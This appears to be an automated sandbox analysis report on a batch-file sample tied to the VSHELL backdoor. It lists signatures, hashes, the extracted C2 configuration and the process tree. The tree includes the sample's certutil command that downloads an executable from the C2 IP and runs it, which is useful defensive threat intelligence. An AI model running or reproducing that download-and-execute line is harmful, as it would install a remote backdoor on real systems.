Analysis
- max time kernel
148s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
26/09/2026, 18:19
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260911-en
windows10-2004-x64
9 signatures
150 seconds
General
- Target windows.bat
- Size 504B
- Sample260926-wygvxsys7p
- SHA256 50e1bce04677f0beabbd94fade5f074d0f3a454bf4cae211d3d660147524668e
- MD5 b5dd0de95fe8f4764ab5ae401443c405
- SHA1 8a34c09ac5b8fc0b21467922da8ed73843436dbf
- SHA512 3c8b1ec301321ab90cc025753d7ce2b488fd22b8a9b24c8affd0f6c11cb9a5f8ede3b7f501aee9379451df139426252a52535b927b3bf6e97fd3f47dd1f8e9b7
- TLSH T1D2F0059C14190CB407CAC5037451B8C0B08D00D2CF706D1E68C354DA1E461482BEF7C1
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
122.51.155.216
Attributes
-
port
8084
-
salt
qwe123qwe
-
type
tcp
-
vkey
qwe123qwe
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/3468-7-0x0000000067700000-0x0000000067ED4000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 5 1692 certutil.exe 7 1692 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 3468 ea2bb147tcp.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2500 cmd.exe 1948 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ea2bb147tcp.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ea2bb147tcp.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 1804 WMIC.exe 1804 WMIC.exe 1804 WMIC.exe 1804 WMIC.exe 3468 ea2bb147tcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1804 WMIC.exe Token: SeSecurityPrivilege 1804 WMIC.exe Token: SeTakeOwnershipPrivilege 1804 WMIC.exe Token: SeLoadDriverPrivilege 1804 WMIC.exe Token: SeSystemProfilePrivilege 1804 WMIC.exe Token: SeSystemtimePrivilege 1804 WMIC.exe Token: SeProfSingleProcessPrivilege 1804 WMIC.exe Token: SeIncBasePriorityPrivilege 1804 WMIC.exe Token: SeCreatePagefilePrivilege 1804 WMIC.exe Token: SeBackupPrivilege 1804 WMIC.exe Token: SeRestorePrivilege 1804 WMIC.exe Token: SeShutdownPrivilege 1804 WMIC.exe Token: SeDebugPrivilege 1804 WMIC.exe Token: SeSystemEnvironmentPrivilege 1804 WMIC.exe Token: SeRemoteShutdownPrivilege 1804 WMIC.exe Token: SeUndockPrivilege 1804 WMIC.exe Token: SeManageVolumePrivilege 1804 WMIC.exe Token: 33 1804 WMIC.exe Token: 34 1804 WMIC.exe Token: 35 1804 WMIC.exe Token: 36 1804 WMIC.exe Token: SeIncreaseQuotaPrivilege 1804 WMIC.exe Token: SeSecurityPrivilege 1804 WMIC.exe Token: SeTakeOwnershipPrivilege 1804 WMIC.exe Token: SeLoadDriverPrivilege 1804 WMIC.exe Token: SeSystemProfilePrivilege 1804 WMIC.exe Token: SeSystemtimePrivilege 1804 WMIC.exe Token: SeProfSingleProcessPrivilege 1804 WMIC.exe Token: SeIncBasePriorityPrivilege 1804 WMIC.exe Token: SeCreatePagefilePrivilege 1804 WMIC.exe Token: SeBackupPrivilege 1804 WMIC.exe Token: SeRestorePrivilege 1804 WMIC.exe Token: SeShutdownPrivilege 1804 WMIC.exe Token: SeDebugPrivilege 1804 WMIC.exe Token: SeSystemEnvironmentPrivilege 1804 WMIC.exe Token: SeRemoteShutdownPrivilege 1804 WMIC.exe Token: SeUndockPrivilege 1804 WMIC.exe Token: SeManageVolumePrivilege 1804 WMIC.exe Token: 33 1804 WMIC.exe Token: 34 1804 WMIC.exe Token: 35 1804 WMIC.exe Token: 36 1804 WMIC.exe Token: SeDebugPrivilege 3468 ea2bb147tcp.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 2500 wrote to memory of 1948 2500 cmd.exe 90 PID 1948 wrote to memory of 1804 1948 cmd.exe 91 PID 1948 wrote to memory of 2784 1948 cmd.exe 92 PID 2500 wrote to memory of 1692 2500 cmd.exe 94 PID 2500 wrote to memory of 3468 2500 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2500 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1948 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1804
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:2784
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://122.51.155.216:8084/?h=122.51.155.216&p=8084&t=tcp&a=w64&stage=true" "C:\Users\Public\ea2bb147tcp.exe"2⤵
- Downloads MZ/PE file
PID:1692
-
-
C:\Users\Public\ea2bb147tcp.exe"C:\Users\Public\ea2bb147tcp.exe"2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3468
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\ea2bb147tcp.exe
- Size 3KB
- SHA256 8d6a56359b9d9f1b3cf4253d99e34c69c4d9424e8e411c2813c36942848b038a
- MD5 ba0a79c95b982357766cee4c00a1ebff
- SHA1 a698d0332afe3e57521306a66931f264dfa92f67
- SHA512 25e0e2e35591d24af803726a3a39932e31d03594214a4fe788a5065bb6e44a1bfe2b05c4cab12a08ac13d425af32b37fdf43843e8250bdaae558829354d03ec7
- TLSH T13571A54160545AF2E94DE37FC587B895FD4EB248A2C84B0B0798981A2F7507BB4DD613
- MD5 SHA1 SHA512 TLSH